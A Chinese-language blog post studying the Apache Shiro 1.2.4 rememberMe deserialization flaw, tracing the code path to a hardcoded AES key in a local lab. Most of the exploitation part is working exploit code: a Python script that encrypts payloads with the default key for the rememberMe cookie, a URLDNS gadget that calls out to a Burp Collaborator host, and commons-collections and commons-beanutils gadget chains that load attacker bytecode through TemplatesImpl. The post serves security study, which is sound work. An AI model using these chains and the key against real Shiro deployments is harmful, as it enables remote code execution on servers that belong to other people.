Shiro反序列化学习
参考:
Shiro反序列化漏洞笔记一(原理篇)
Shiro反序列化漏洞笔记三(解疑篇)
Pwn a CTF Platform with Java JRMP Gadget
Shiro反序列化
环境搭建
可以直接git下来切换版本,也可以直接用这个链接下载,使用的版本是1.2.4。
git clone https://github.com/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
|
下载后修改samples\web\pom.xml里面的jstl版本为1.2
<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
|
导入为maven项目后配置下tomcat即可启动
漏洞原理
当用户勾选Remember Me登陆时,Shiro会获取用户请求的Cookie中的rememberMe的值,然后对rememberMe进行Base64解码并使用AES进行解密,最后对解密的值进行反序列化。而由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,最终会对用户构造的恶意数据进行反序列化。
我们首先在全局搜索rememberme字段可以找到CookieRememberMeManager.java,在里面可以很轻易地找到带有Serialized字样的getRememberedSerializedIdentity函数

看一下逻辑其实就是获取对应的Cookie值然后Base64解密。
然后看一下发现它是被AbstractRememberMeManager.getRememberedPrincipals调用

这个函数主要就是把解密后的内容转换成认证信息,跟进图中的红框看一下

可以很明显的看到里面有一个deserialize函数,跟进去看一下



一直跟进到最后发现调用了DefaultSerializer中的deserialize,而其中使用了原生的反序列化,所以到这里其实已经可以确定存在反序列化漏洞了,如果存在相应CC依赖的话就可以打CC链。
接下来就要考虑利用了,回到前面的convertBytesToPrincipals函数,它第一步是进行一个解密,然后才进行了反序列化,跟进到decrypt函数看一下

这里其实就是AES的加解密,然后的话如果能知道key的话就能够构造我们自己的数据进行反序列化,接下来就去找这个key,跟进到getDecryptionCipherKey

发现是一个常量,去看哪里对它进行了赋值

接着去找哪里调用了这个函数,一步步往上走


这里我们发现一个常量,跟进去看一下可以发现key是一个常量

现在找到了key,要进行AES加密构造数据还需要一个初始向量,我们回到前面的decrypt函数,跟进到cipherService.decrypt中去,发现是一个接口,接着走可以找到JcaCipherService

其实就是把我们传进来的数据的前面的字节复制一下当作iv然后再进行解密,因此我们加密时候的iv是可以随便取的。
到这里其实key和iv都已经知道了,只需要把对应依赖的payload构造出来进行加密,然后放到Cookie中的rememberMe字段里就可以利用Shiro的反序列化漏洞了(这里注意下后面利用的时候要删掉Cookie中的JSESSION字段)。
漏洞复现
如果调试运行报Error opening zip file or JAR manifest missing : xxxx\gragent.jar,可以看这篇博客解决
放一个网上的AES脚本
import sys import base64 import uuid from random import Random from Crypto.Cipher import AES
def get_file_data(filename): with open(filename,'rb') as f: data = f.read() return data
def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS -len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext
def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s: s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext
if __name__ == '__main__': data = get_file_data("ser.bin") print(aes_enc(data))
|
URLDNS
掏出我的祖传exp
package cn.evo1.cc;
import java.io.*; import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.util.Base64; import java.util.HashMap;
public class URLDNSTest { public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException { HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>(); URL url = new URL("http://zehh8m1ntruwjn42ueft0zdn2e84wt.burpcollaborator.net"); Class c = url.getClass(); Field urlfield = c.getDeclaredField("hashCode"); urlfield.setAccessible(true); urlfield.set(url,1234); hashMap.put(url,1); urlfield.set(url,-1);
serialize(hashMap);
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
生成ser.bin后用刚才的AES脚本加密,把得到的payload放到Cookie中里(记得删除JSESSIONID),发包即可

CC链
在samples\web\pom.xml里面添加一些依赖
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
这里在如果直接使用CommonCollections3、5、6、7链会导致反序列化漏洞无法利用成功,具体原因可以看一下Shiro反序列化漏洞笔记三(解疑篇)这篇博客。简单来说就是tomcat的原因导致Transformer数组不能用了,所以要找一个不使用该数组的方法,最后使用CC3+CC2+CC6组合出了一条链
package cn.evo1.shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class ShiroCC { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"evo1");
byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class")); byte[][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,templates);
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"evo2");
lazyMap.remove(templates);
Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,invokerTransformer);
serialize(map2);
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
也可以用JRMP这条链子,可以参考这篇Pwn a CTF Platform with Java JRMP Gadget
CB链
这里先本地建个项目测试下,添加个依赖保持和Shiro项目的版本一致
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency>
|
先创建一个JavaBean样式的Person类
package cn.evo1.shiro;
public class Person { private String name; private int age;
public Person() { }
public Person(String name, int age) { this.name = name; this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public String toString() { return "Person{name = " + name + ", age = " + age + "}"; } }
|
写一个例子
package cn.evo1.shiro;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class ShiroCB { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { Person person = new Person("evo1", 21); System.out.println(person.getName()); System.out.println(PropertyUtils.getProperty(person,"name")); } }
|
调试看一下流程






考虑这种getXxxx的样式,可以想到TemplatesImpl中的getOutputProperties,借助该方法写一下exp
package cn.evo1.shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class ShiroCB { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field name = tc.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"evo1");
byte[] code = Files.readAllBytes(Paths.get("target/classes/cn/evo1/cc/Calc.class")); byte[][] codes = {code}; Field bytecodes = tc.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add("evo1");
Class<PriorityQueue> c = PriorityQueue.class; Field comparator = c.getDeclaredField("comparator"); comparator.setAccessible(true); comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|